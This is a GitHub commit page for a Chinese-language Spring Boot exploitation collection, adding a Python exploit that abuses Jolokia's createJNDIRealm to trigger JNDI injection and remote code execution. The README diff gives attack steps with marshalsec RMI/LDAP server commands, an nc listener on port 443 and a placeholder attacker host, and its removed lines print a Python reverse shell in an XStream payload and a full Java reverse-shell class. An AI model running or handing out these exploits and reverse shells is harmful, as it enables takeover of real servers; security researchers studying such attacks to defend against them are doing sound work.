Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit fd45fad

Browse files
committed
add springboot-realm-jndi-rce script
1 parent e3fb80f commit fd45fad

File tree

2 files changed

+138
-146
lines changed

2 files changed

+138
-146
lines changed

‎README.md

Lines changed: 85 additions & 146 deletions
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,9 @@ SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全
66

77
## 零:路由知识
88

9-
- Spring 1.x 相关 `/` 开始,2.x 统一以 `/actuator` 作为根路径
9+
- Spring 1.x 版本根路径以 `/` 开始,2.x 统一以 `/actuator` 作为根路径
1010
- 有些程序员会自定义 `/manage``/management`**项目相关名称** 为根路径
11-
- 默认端点名字,如 `/env` 有时候也会被程序员修改,如修改成 `/appenv`
11+
- 默认路由名字,如 `/env` 有时候也会被程序员修改,如修改成 `/appenv`
1212

1313

1414

@@ -18,7 +18,10 @@ SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全
1818

1919
### 0x01:路由地址及接口调用详情泄漏
2020

21-
开发环境切换为线上生产环境时,相关人员没有更改配置文件或忘记环境切换,导致此漏洞;
21+
> 开发环境切换为线上生产环境时,相关人员没有更改配置文件或忘记切换配置环境,导致此漏洞
22+
>
23+
24+
2225

2326
直接访问以下几个路由,验证漏洞是否存在:
2427

@@ -64,6 +67,10 @@ SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全
6467

6568
### 0x02:配置不当而暴露的路由
6669

70+
> 主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置
71+
72+
73+
6774
参考 [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) ,可能因为配置不当而暴露的路由主要有:
6875

6976
```
@@ -252,69 +259,7 @@ Content-Type: application/json
252259

253260
##### 步骤一:架设响应恶意 XStream payload 的网站
254261

255-
下面是一个依赖 Flask 的符合要求的 [python 脚本示例](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py),作用是利用目标 Linux 机器上自带的 python 来反弹shell:
256-
257-
```python
258-
#!/usr/bin/env python
259-
# coding: utf-8
260-
# -**- Author: LandGrey -**-
261-
262-
from flask import Flask, Response
263-
264-
app = Flask(__name__)
265-
266-
267-
@app.route('/', defaults={'path': ''})
268-
@app.route('/<path:path>', methods=['GET', 'POST'])
269-
def catch_all(path):
270-
xml = """<linked-hash-set>
271-
<jdk.nashorn.internal.objects.NativeString>
272-
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
273-
<dataHandler>
274-
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
275-
<is class="javax.crypto.CipherInputStream">
276-
<cipher class="javax.crypto.NullCipher">
277-
<serviceIterator class="javax.imageio.spi.FilterIterator">
278-
<iter class="javax.imageio.spi.FilterIterator">
279-
<iter class="java.util.Collections$EmptyIterator"/>
280-
<next class="java.lang.ProcessBuilder">
281-
<command>
282-
<string>/bin/bash</string>
283-
<string>-c</string>
284-
<string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
285-
</command>
286-
<redirectErrorStream>false</redirectErrorStream>
287-
</next>
288-
</iter>
289-
<filter class="javax.imageio.ImageIO$ContainsFilter">
290-
<method>
291-
<class>java.lang.ProcessBuilder</class>
292-
<name>start</name>
293-
<parameter-types/>
294-
</method>
295-
<name>foo</name>
296-
</filter>
297-
<next class="string">foo</next>
298-
</serviceIterator>
299-
<lock/>
300-
</cipher>
301-
<input class="java.lang.ProcessBuilder$NullInputStream"/>
302-
<ibuffer></ibuffer>
303-
</is>
304-
</dataSource>
305-
</dataHandler>
306-
</value>
307-
</jdk.nashorn.internal.objects.NativeString>
308-
</linked-hash-set>"""
309-
return Response(xml, mimetype='application/xml')
310-
311-
312-
if __name__ == "__main__":
313-
app.run(host='0.0.0.0', port=80)
314-
315-
```
316-
317-
262+
提供一个依赖 Flask 并符合要求的 [python 脚本示例](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py),作用是利用目标 Linux 机器上自带的 python 来反弹shell。
318263

319264
使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。
320265

@@ -396,6 +341,8 @@ Content-Type: application/json
396341
- 目标使用了 jolokia-core 组件(版本要求暂未知)并且环境中存在相关 MBean
397342
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
398343

344+
- ldap 注入可能会受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1
345+
399346

400347

401348
#### **利用方法:**
@@ -431,82 +378,7 @@ python3 -m http.server 80
431378

432379
##### 步骤三:准备要执行的 Java 代码
433380

434-
编写优化过后的用来反弹 shell 的 [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java`,内容如下:
435-
436-
```java
437-
import java.io.File;
438-
import java.io.InputStream;
439-
import java.io.OutputStream;
440-
import java.net.Socket;
441-
442-
public class JNDIObject {
443-
static {
444-
try{
445-
String ip = "your-vps-ip";
446-
String port = "443";
447-
String py_path = null;
448-
String[] cmd;
449-
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
450-
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
451-
for(int i = 0; i < py_envs.length; ++i) {
452-
String py = py_envs[i];
453-
if ((new File(py)).exists()) {
454-
py_path = py;
455-
break;
456-
}
457-
}
458-
if (py_path != null) {
459-
if ((new File("/bin/bash")).exists()) {
460-
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
461-
} else {
462-
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
463-
}
464-
} else {
465-
if ((new File("/bin/bash")).exists()) {
466-
cmd = new String[]{"/bin/bash"};
467-
} else {
468-
cmd = new String[]{"/bin/sh"};
469-
}
470-
}
471-
} else {
472-
cmd = new String[]{"cmd.exe"};
473-
}
474-
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
475-
Socket s = new Socket(ip, Integer.parseInt(port));
476-
InputStream pi = p.getInputStream();
477-
InputStream pe = p.getErrorStream();
478-
InputStream si = s.getInputStream();
479-
OutputStream po = p.getOutputStream();
480-
OutputStream so = s.getOutputStream();
481-
while(!s.isClosed()) {
482-
while(pi.available() > 0) {
483-
so.write(pi.read());
484-
}
485-
while(pe.available() > 0) {
486-
so.write(pe.read());
487-
}
488-
while(si.available() > 0) {
489-
po.write(si.read());
490-
}
491-
so.flush();
492-
po.flush();
493-
Thread.sleep(50L);
494-
try {
495-
p.exitValue();
496-
break;
497-
} catch (Exception e) {
498-
}
499-
}
500-
p.destroy();
501-
s.close();
502-
}catch (Throwable e){
503-
e.printStackTrace();
504-
}
505-
}
506-
}
507-
```
508-
509-
381+
编写优化过后的用来反弹 shell 的 [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java`,
510382

511383
使用兼容低版本 jdk 的方式编译:
512384

@@ -523,7 +395,7 @@ javac -source 1.5 -target 1.5 JNDIObject.java
523395
下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 ldap 服务:
524396

525397
```bash
526-
java -jar marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
398+
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
527399
```
528400

529401

@@ -560,19 +432,86 @@ nc -lvp 443
560432

561433
#### **漏洞分析:**
562434

563-
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
435+
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
436+
437+
438+
439+
440+
441+
### 0x05:Jolokia Realm JNDI RCE
442+
443+
#### **利用条件:**
444+
445+
- 目标网站存在 `/jolokia``/actuator/jolokia` 接口
446+
- 目标使用了 jolokia-core 组件(版本要求暂未知)并且环境中存在相关 MBean
447+
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
448+
- 实际测试 RMI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121
449+
450+
451+
452+
#### **利用方法:**
453+
454+
##### 步骤一:查看已存在的 MBeans
455+
456+
访问 `/jolokia/list` 接口,查看是否存在 `type=MBeanFactory``createJNDIRealm` 关键词。
457+
564458

565459

460+
##### 步骤二:准备要执行的 Java 代码
461+
462+
编写优化过后的用来反弹 shell 的 [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java`
463+
464+
465+
466+
##### 步骤三:架设恶意 rmi 服务
467+
468+
下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 rmi 服务:
469+
470+
```bash
471+
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
472+
```
473+
474+
475+
476+
##### 步骤四:监听反弹 shell 的端口
477+
478+
一般使用 nc 监听端口,等待反弹 shell
479+
480+
```bash
481+
nc -lvp 443
482+
```
483+
484+
485+
486+
##### 步骤五:发送恶意 payload
487+
488+
根据实际情况修改 [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) 脚本中的目标地址,RMI 地址、端口等信息,使用 python 在自己控制的服务器上运行以上的脚本即可。
489+
490+
491+
492+
#### **漏洞原理:**
493+
494+
1. 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm
495+
2. 设置 connectionURL 地址为 RMI Service URL
496+
3. 设置 contextFactory 为 RegistryContextFactory
497+
4. 停止 Realm
498+
5. 启动 Realm 以触发指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞
499+
500+
501+
502+
#### **漏洞分析:**
503+
504+
[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
566505

567506

568507

569-
### 0x05:h2 database query RCE
508+
### 0x06:h2 database query RCE
570509

571510

572511

573512

574513

575-
### 0x06:jdbc url deserialization RCE
514+
### 0x07:jdbc url deserialization RCE
576515

577516

578517

‎codebase/springboot-realm-jndi-rce.py

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
#!/usr/bin/env python3
2+
# coding: utf-8
3+
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt
4+
5+
6+
import requests
7+
8+
9+
url = 'http://127.0.0.1:8080/jolokia'
10+
11+
12+
create_realm = {
13+
"mbean": "Tomcat:type=MBeanFactory",
14+
"type": "EXEC",
15+
"operation": "createJNDIRealm",
16+
"arguments": ["Tomcat:type=Engine"]
17+
}
18+
19+
wirte_factory = {
20+
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
21+
"type": "WRITE",
22+
"attribute": "contextFactory",
23+
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
24+
}
25+
26+
write_url = {
27+
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
28+
"type": "WRITE",
29+
"attribute": "connectionURL",
30+
"value": "rmi://your-vps-ip:1389/JNDIObject"
31+
}
32+
33+
stop = {
34+
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
35+
"type": "EXEC",
36+
"operation": "stop",
37+
"arguments": []
38+
}
39+
40+
start = {
41+
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
42+
"type": "EXEC",
43+
"operation": "start",
44+
"arguments": []
45+
}
46+
47+
flow = [create_realm, wirte_factory, write_url, stop, start]
48+
49+
for i in flow:
50+
print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
51+
r = requests.post(url, json=i)
52+
r.json()
53+
print(r.status_code)

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /